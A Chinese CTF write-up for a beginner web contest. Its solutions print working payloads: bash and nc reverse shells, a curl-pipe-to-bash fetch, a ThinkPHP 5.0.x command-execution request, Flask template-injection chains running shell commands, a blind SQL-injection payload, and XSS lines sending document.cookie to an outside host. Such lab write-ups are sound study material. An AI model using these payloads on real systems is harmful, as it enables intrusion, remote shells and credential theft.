本次比赛是给新生准备的,我也来参加一下,我是新生废物
题目难度都很基础(出题人说的)
学到很多东西 记录一手记录一手
WEB
DuangShell
这题因为日本的靶机端口被封了导致我以为不能访问外网 试了好几个小时都没出
考点:
~~swp文件备份
~~php反弹shell
~~REC绕过
解题:
打开后是一个征婚页面
提示了备份文件为vim类型
下载.index.php.swp
//这里注意 在linux下 备份文件都为隐藏文件,在linux中 ‘.’是隐藏文件前缀
使用 vi -r late.c 命令恢复swp文件
源码:
可以发现 这里需要post一个名为‘girl_friend’的变量,正则过滤了许多东西
源码中提示duangshell
并且含有exec()函数 // exec 函数只能执行一个命令
那让我们来反弹一个shell到本地吧(这里日本靶机被封是我着实没有想到的)
常规的反弹命令百度基本都是
php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port");' bash -i >& /dev/tcp/ip/port 0>&1
本题里过滤了引号和>导致以上命令全部无法正常执行
在y1ng师傅以往的wp中,提到了使用
curl ip/1.txt|bash
这里我们将bash反弹命令写入1.txt并放入远程服务器
远程服务器监听相应端口,即可反弹shell到本地执行命令
我还发现了一个其他绕过>$\的姿势:
nc ip:port|/bin/bash|nc ip:port
此命令是反弹到两个端口,一个端口执行命令,另一个端口可以查看回显
也可以成功反弹shell
发现在根目录的flag是假的,使用find 命令找到 flag:find / -name flag
成功找到flag
GirlFriendSqlInjection
考点:
····SQL注入
····单引号字符逃逸
····盲注-布尔
····regexp匹配
····大小写匹配
解题:
打开后是一个登录界面
首先fuzz一手发现过滤了 ' select ‘ ' union ' ' like ' 等常规注入关键字
尝试使用盲注
后又发现盲注所必须的单引号被过滤
此时想到一篇之前看过的文章
“反斜杠\导致字符转义”
例如:user='admin'&pass='admin'
在加上\后,成了:user='admin\'&pass='admin'
这样实际mysql后台查询的语句就成了:user='admin&pass='admin' 单引号成功逃逸出来 加上#闭合后面的单引号,导致可以执行我们的sql语句
本题中,测试后发现返回为布尔值,例如
1^1^1 返回 · 真
1^(2>1)^1 返回 · 真
1^(1>1)^1 返回 · 假
所以这里应该是要使用布尔盲注,最开始的思路是substr函数截取数据库表名,发现select被过滤了只能跑出数据库名
exp:
数据库名:p3rh4ps
因为过滤了‘=’ 导致一直没有思路,后遍历百度后发现regexp可以执行正则表达式,猜测后台存储密码的列名为‘password’
尝试regexp盲注
username=admin\&password=|| substr(password,x,1) regexp x #
本题还过滤了双引号 导致regexp ^"x"无法正常执行
将需要比较的字符与^一起进行十六进制转换(mysql中默认会把十六进制命令转义后执行)
其中username 5位 password 12位
之后进行字符截取盲注。
又发现返回的值中包含正确值的大写与小写,(mysql默认不区分大小写)
遍历百度后发现 binary 命令可以比较大小写
最终payload:username=admin\&password=|| substr(password,x,1) regexp binary x #
老黑客了
考点:
····thinkphp5.0.x任意命令执行漏洞
解题:
打开后提示了一个大大大大大大大大大的版本号
之前有见过thinkphp5.0.x任意命令执行漏洞的文章,这次就考出来了
最终payload是 get:?s= post: _method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag
就可以发现flag啦
网上好多thinkphp5.0.x的漏洞复现帖子,有很多payload,这里就不详述了(其实我具体也不知道)
Fake Google
考点:
····flask模板注入
解题:
打开后是一个大大的搜索框
输入任意字符后回显字符
尝试输入{{7*7}}
发现计算出了结果,尝试flask模板注入
payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}
发现了flag文件
尝试读取一手吧,emmm 回显非 flag ,猜测这里可能过滤了正常的flag字符
使用base64加密读取flag
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('openssl base64 -in /flag').read()") }}{% endif %}{% endfor %}
#命令执行: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
Element Master
考点:
···脑洞
解题:
打开后是一个Y1ng师傅画的超好看的画
hint给了
1.不需要扫描器,扫也扫不出来东西 2.mendeleev=门捷列夫 3.use some of your out of the box thinking 4.from requests import * 5.某处的神秘代码,Hex to String 6.元素周期表 7.用上hint2和hint4 8.https://translate.google.com/
好嘛,给了这么多提示,还是没什么思路
在网页源代码处给了一道十六进制加密的文字,解密后为po.php
之后给了元素周期表的字典,跑一下有一个网页显示了flag地址:And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
打开后为flag
假猪套天下第一
考点:
···http-header头的修改与意义
···细心
解题:
又是一个登陆解密
尝试登陆
为空时显示“没密码你登陆你妈呢”
后测试后发现,当用户名很长时 除了admin都能登录 例如 admin'''''''''''''''''''''''''''''''''''' 会登陆成功
想要源码.jpg
在注释中会发现新的页面
L0g1n.php
打开后提示此页面在99年后会开放,那么就等一手等一手
提示给了:
1.XFF过不去,题目要考的字段里不带字母“X” 2.某某64过不去,去查查Google,查查他全称叫什么(划重点:Google) 或者wikipedia
按照第一届的惯例,抓个包看看吧!
这里可以很清楚的看到cookie中有一个时间项,改到99年后看看?
可以发现这里变成了‘ Sorry, this site is only optimized for those who comes from localhost’
题目hint给了xff过不去,那我们试试其他的方法吧!
client-ip:127.0.0.1
提示了一手: Sorry, this site is only optimized for those who come from gem-love.com
referer:gem-love.com
提示了一手: Sorry, this site is only optimized for browsers that run on Commodo 64
hint中给了google中搜一下就知道了
在google中发现
其实这个名字有所错误
搜索一下他的UA头吧!
"Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)"
使用user-agent构造:User-Agent:"Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)"
提示: Sorry, this site is only optimized for those whose email is root@gem-love.com
百度后可以知道http请求头如何构建email协议 from:root@gem-love.com
好嘛,又提示 Sorry, this site is only optimized for those who use the http proxy of y1ng.vip<br> if you dont have the proxy, pls contact us to buy, ¥100/Month
搜索后可以发现有一个via头
构建:via:y1ng.vip
在注释中可以发现一个base64加密的字符串
<!--ZmxhZ3tjMzVjM2U0NC0xMWE4LTQxNTktOTMxNS0yMjJlM2U3MmY1Yjl9Cg==-->
解码即flag
Schrödinger
考点:
···COOKIE修改
···bilibili的正确使用
解题:
打开后是一个全是英文的英文界面,通读全文后,在下面的输入框输入一些东西就会开始解密,解密到一定程度就会获得密码
在白色字体中还发现了test.php
去看看
一个华丽的登录页面
在爆破尝试无果后,提示了cooike
发现有一个base64加密的字符串
解密后是一串数字
根据前一道99年的题,尝试修改一手数字为0的base64或为空
返回解密页面后发现进度已经成了99
check一下发现密码
敏锐的嗅觉 提示 告诉我这是bilibli的东西
评论区发现flag
xss之光(你没有杨大树长)
考点:
···git源码泄露
···xss
解题:
打开后只有大大的
gungungun
扫描器扫描后可以发现git源码
githack下载源码后只有一个简单的反序列化源码
<?php $a = $_GET['yds_is_so_beautiful']; echo unserialize($a);
确实没有啥思路,只知道一个参量和反序列化点,从哪里下手呢???
<?php
$a = serialize(new Exception("<script>window.location.href='http://3761294d-edc7-45ec-9ef3-f2ea56c9458d.node3.buuoj.cn/a?'+document.cookie</script>"))
echo $a;
<?php $a = '<script>var img=document.createElement("img");img.src="http://3761294d-edc7-45ec-9ef3-f2ea56c9458d.node3.buuoj.cn/a?"+escape(document.cookie);</script>'; echo serialize($a);